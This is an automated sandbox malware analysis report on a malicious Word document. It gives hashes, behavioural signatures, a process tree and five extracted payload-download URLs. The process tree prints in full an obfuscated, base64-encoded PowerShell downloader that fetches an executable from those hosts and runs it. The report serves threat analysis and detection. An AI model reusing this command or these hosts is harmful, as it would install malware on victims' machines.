Analysis
-
max time kernel
138s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
21-05-2022 00:03
Static task
static1
Behavioral task
behavioral1
Sample
95486e2d7bdf753ab5dd9caeb51cbb91a06f11521db0fea52573e902a03da112.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
95486e2d7bdf753ab5dd9caeb51cbb91a06f11521db0fea52573e902a03da112.doc
Resource
win10v2004-20220414-en
General
-
Target
95486e2d7bdf753ab5dd9caeb51cbb91a06f11521db0fea52573e902a03da112.doc
-
Size
165KB
-
MD5
5988dff21b137091544a4ad9ae7def47
-
SHA1
35523d127211d1b0d6d5c202e866ee1b3f62ce04
-
SHA256
95486e2d7bdf753ab5dd9caeb51cbb91a06f11521db0fea52573e902a03da112
-
SHA512
522fc86635dc60c34ebc5438f011cda0abca1d8f64f93355919af0b65406031290e2c8f073bfb9b214c698798062821b52c3e6f5470f4e50c2c0e33b61f6a056
Malware Config
Extracted
http://kellydarke.com/wp-content/Sd/
http://aram-designs.com/en/Z53/
http://basinhayati.net/wp-admin/Q0aw/
http://7cut.extroliving.com/wp-content/3LYGE/
http://allcosmeticsource.com/allcosmeticsource/OT9bg/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4756 1004 powershell.exe -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 20 4756 powershell.exe 22 4756 powershell.exe 61 4756 powershell.exe 63 4756 powershell.exe 66 4756 powershell.exe 68 4756 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2156 WINWORD.EXE 2156 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4756 powershell.exe 4756 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4756 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2156 WINWORD.EXE 2156 WINWORD.EXE 2156 WINWORD.EXE 2156 WINWORD.EXE 2156 WINWORD.EXE 2156 WINWORD.EXE 2156 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\95486e2d7bdf753ab5dd9caeb51cbb91a06f11521db0fea52573e902a03da112.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABsAEcANAB3AFoAQQBRAEEAPQAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAEMARwBBADQAbwBEACcALAAnAFYAJwApADsAJABqAEEAWgBHADEAYwBEAGMAPQBOAGUAdwAtAGAATwBCAGAASgBFAGMAdAAgACgAJwBOAGUAdAAnACsAJwAuAFcAJwArACcAZQBiACcAKwAnAEMAJwArACcAbABpAGUAbgB0ACcAKQA7ACQAdABVAF8AeABVADQAQQBBAD0AKAAiAHsAMgA0AH0AewAyADcAfQB7ADMAOAB9AHsAMQB9AHsAMwAyAH0AewAxADEAfQB7ADMANwB9AHsAMwB9AHsAMQA4AH0AewA0AH0AewA4AH0AewA2AH0AewA0ADEAfQB7ADQAMAB9AHsAMQAwAH0AewAyADkAfQB7ADMAMwB9AHsAMAB9AHsAMwA0AH0AewA3AH0AewAxADcAfQB7ADIAMgB9AHsAMQAyAH0AewAyADgAfQB7ADEANQB9AHsAMgAzAH0AewAyADYAfQB7ADIAMAB9AHsAOQB9AHsAMwAwAH0AewAyADEAfQB7ADEANgB9AHsAMwA5AH0AewAzADUAfQB7ADEANAB9AHsAMwAxAH0AewAyADUAfQB7ADIAfQB7ADMANgB9AHsAMQAzAH0AewAxADkAfQB7ADUAfQAiAC0AZgAnAG4AcwAuAGMAbwBtAC8AJwAsACcAYwBvAG0AJwAsACcAYwBlAC4AYwBvAG0ALwAnACwAJwB0AGUAJwAsACcALwBTAGQALwAnACwAJwAvACcALAAnAGgAJwAsACcAWgA1ADMALwBAAGgAdAAnACwAJwBAACcALAAnAHAALQBjAG8AbgAnACwAJwAvAC8AYQByACcALAAnAG8AJwAsACcAZABtAGkAJwAsACcAbQBlAHQAJwAsACcAYwBvAHMAbQAnACwAJwB0ACcALAAnAEUALwBAAGgAdAB0AHAAOgAnACwAJwB0AHAAOgAvAC8AYgAnACwAJwBuAHQAJwAsACcAaQBjAHMAbwB1AHIAYwBlAC8ATwBUADkAYgBnACcALAAnAHcAJwAsACcARwAnACwAJwBhAHMAaQBuAGgAYQB5AGEAdABpAC4AbgBlAHQALwB3AHAALQBhACcALAAnAHQAcAA6AC8ALwA3AGMAdQB0AC4AZQB4AHQAcgBvAGwAJwAsACcAaAB0ACcALAAnAHIAJwAsACcAaQB2AGkAbgBnAC4AYwBvAG0ALwAnACwAJwB0AHAAOgAvAC8AawBlAGwAbAB5AGQAJwAsACcAbgAvAFEAMABhAHcALwBAAGgAJwAsACcAYQBtAC0AZABlAHMAaQAnACwAJwB0AGUAbgB0AC8AMwBMAFkAJwAsACcAZQB0AGkAYwBzAG8AdQAnACwAJwAvAHcAcAAtAGMAJwAsACcAZwAnACwAJwBlAG4ALwAnACwAJwBsACcALAAnAGEAbABsAGMAbwBzACcALAAnAG4AJwAsACcAYQByAGsAZQAuACcALAAnAC8ALwBhAGwAJwAsACcAdABwADoAJwAsACcAdAAnACkALgAiAHMAUABsAGAASQBUACIAKAAnAEAAJwApADsAJAB1AFUAYwBBAEEAUQBBAD0AKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGgAeAB4AEEAQQAnACwAJwBvADQAJwApADsAJABBAEEAUQBYAEcAQQBRACAAPQAgACcANwA3ADkAJwA7ACQAcgBEAGMAeABEAF8APQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAEEAMQBCAEQAVQAnACwAJwBSAFEAJwApADsAJABRAFoAUQBEAEEAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBBAFEAWABHAEEAUQArACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAGUAJwAsACcALgBlAHgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcgBHAEEAawBVADQAQQBfACAAaQBuACAAJAB0AFUAXwB4AFUANABBAEEAKQB7AHQAcgB5AHsAJABqAEEAWgBHADEAYwBEAGMALgAiAGQAYABvAHcATgBgAGwAbwBBAEQAZgBJAGwAZQAiACgAJAByAEcAQQBrAFUANABBAF8ALAAgACQAUQBaAFEARABBAGMAKQA7ACQAbQBDAEEARwBEAEIARAA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAYgBEAEEAUQBBAEIAJwAsACcAVQB4ACcAKQA7AEkAZgAgACgAKABHAGAARQBgAFQALQBJAHQAZQBtACAAJABRAFoAUQBEAEEAYwApAC4AIgBMAGAARQBuAGcAdABIACIAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBPAGsARQBgAC0ASQB0AGAARQBNACAAJABRAFoAUQBEAEEAYwA7ACQAdQBEAG8AMQBrAG8APQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAGIAJwAsACcARABBAEMAQwBfACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABxAEEARABRAFoAQQBBAEEAPQAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAHMAUQBBAEQAbwBRAEQAJwAsACcARAAnACkAOwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2156-136-0x00007FFE88F30000-0x00007FFE88F40000-memory.dmpFilesize
64KB
-
memory/2156-130-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2156-132-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2156-133-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2156-134-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2156-135-0x00007FFE88F30000-0x00007FFE88F40000-memory.dmpFilesize
64KB
-
memory/2156-131-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2156-137-0x000001F37FDE0000-0x000001F37FDE4000-memory.dmpFilesize
16KB
-
memory/2156-141-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2156-143-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2156-144-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/2156-142-0x00007FFE8B410000-0x00007FFE8B420000-memory.dmpFilesize
64KB
-
memory/4756-138-0x0000018FFBFA0000-0x0000018FFBFC2000-memory.dmpFilesize
136KB
-
memory/4756-139-0x00007FFE9F8B0000-0x00007FFEA0371000-memory.dmpFilesize
10.8MB